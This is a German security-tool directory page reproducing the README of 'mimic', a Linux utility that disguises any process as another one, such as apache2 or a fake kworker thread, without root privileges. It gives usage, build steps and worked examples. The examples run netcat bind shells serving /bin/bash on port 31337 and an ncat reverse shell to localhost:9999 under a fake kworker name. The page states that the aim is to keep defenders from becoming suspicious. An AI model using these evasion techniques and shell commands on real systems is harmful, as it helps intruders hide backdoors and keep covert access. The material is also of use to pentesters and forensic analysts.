Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
mimic — Verstecke Prozesse als normaler Benutzer in Linux. | Kitploit
Tools/GitHubGitHub/emptymonkey/mimic
IDS/IPS-UmgehungPenetrationstestsRed Teaming
GitHubemptymonkey/mimic

mimic

Verstecke Prozesse als normaler Benutzer in Linux.

Repository anzeigen
26351vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

mimic

mimic ist ein Werkzeug zur verdeckten Ausführung auf Linux x86_64.

Was ist "verdeckte Ausführung"?

Verdeckte Ausführung ist die Kunst, einen Prozess zu verstecken. In diesem Fall versteckt mimic den Prozess, ohne dass er auffällt. mimic kann jedes Programm starten und es wie jedes andere Programm aussehen lassen. Jeder Benutzer kann es verwenden. Es benötigt keine speziellen Berechtigungen. Es benötigt keine speziellen Binärdateien. Es benötigt kein Rootkit.

Was?! Keine speziellen Privilegien??

Das ist richtig. mimic funktioniert, indem es die internen Strukturen eines Prozesses so umordnet, dass der /proc-Eintrag für diesen Prozess verwirrt wird. Alle Werkzeuge, die die Natur eines Prozesses melden, tun dies durch Untersuchen von /proc. Wenn wir /proc biegen können, können wir einen Prozess verstecken, ohne dass er auffällt. Da wir nur den Zustand eines Prozesses ändern, den wir besitzen, kann jeder erfolgreich mimic ausführen.

Kann dies erkannt werden?!

Natürlich, aber nur, wenn man sehr genau hinschaut oder ein forensisches Werkzeug ausführt, das nach dieser Art von Dingen sucht. Der Nutzen von mimic besteht darin, dass es verhindert, dass jemand überhaupt misstrauisch wird.

Funktioniert das mit Skripten?

Ja, aber du musst mimic direkt auf dem Interpreter aufrufen. Wenn die erste Zeile deines Skripts beispielsweise "#!/usr/bin/perl" lautet, dann solltest du mimic so aufrufen:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

Durch direktes Aufrufen des Interpreters kann mimic seine Magie entfalten.

Wer ist die Zielgruppe von mimic?

Jeder, der legitimerweise verdeckte Ausführung benötigt, bevor er Root-Rechte erlangt hat. Dies umfasst, ist aber nicht beschränkt auf:

  • Pentester.
  • Ermittler, die verdeckte Operationen durchführen (natürlich mit vorheriger Genehmigung ihrer Rechts- und Personalabteilungen).

Warum heißt es "mimic"?

Weil "Lügner, Lügner, /proc brennt!" zu lang war.

Was ist "set_target_pid"?

set_target_pid ist ein kleines Hilfsprogramm in der mimic-Suite, das PIDs erschöpft, bis die gewünschte PID wiederkommt. Dies ermöglicht es dir, auszuwählen, wo in der Prozessliste dein Prozess platziert werden soll. Beachte, dass der Kernel die ersten 300 PIDs für Kernel-Threads reserviert. Wenn du versuchst, darunter zu gehen, wirst du wahrscheinlich mit PID 301 laufen.

Usage

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Führe COMMAND aus.
	-m	Richte COMMAND so ein, dass es wie MIMIC aussieht.
			Standard für Nicht-Root:    "/usr/sbin/apache2 -k start"
			Standard für Root:        "[kworker/0:0]"
	-b	Starte COMMAND im Hintergrund.
	-a	Füge KEY zur mimic-Umgebung hinzu / überschreibe ihn mit dem zugehörigen VALUE.
	-q	Sei leise! Gib keine normale Ausgabe aus.
	-h	Diese hilfreiche Nachricht anzeigen.

	Hinweise:
		Die MIMIC-Umgebung wird eine Kopie der COMMAND-Umgebung sein.
		Die Variable '_' wird automatisch geändert.
		Das -a-Flag kann mehrmals aufgerufen werden, um mehrere Variablen hinzuzufügen/zu überschreiben.

	Beispiele:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Beispiele

Erstes Beispiel - Starten eines netcat-Listeners als normaler Benutzer:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Zweites Beispiel - Starten einer netcat-Reverse-Shell als Root:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Kannst du die gefälschten Kworker erkennen? Wärst du dazu ohne die Hilfe von grep in der Lage?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Natürlich sollte kein Kworker einen offenen Socket haben, aber ich bin sicher, du kannst bei deiner Namenswahl kreativer sein als das. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Beachte, dass ich hier nur als Root laufe, weil ein Kworker-Thread sehr verdächtig wäre, wenn er als Nicht-Root-Benutzer läuft. Der neue mimic-Name ist nur ein String. Es muss kein existierender Prozess sein. Zur Hölle, es muss nicht einmal real sein!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Installation

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
Tool herunterladen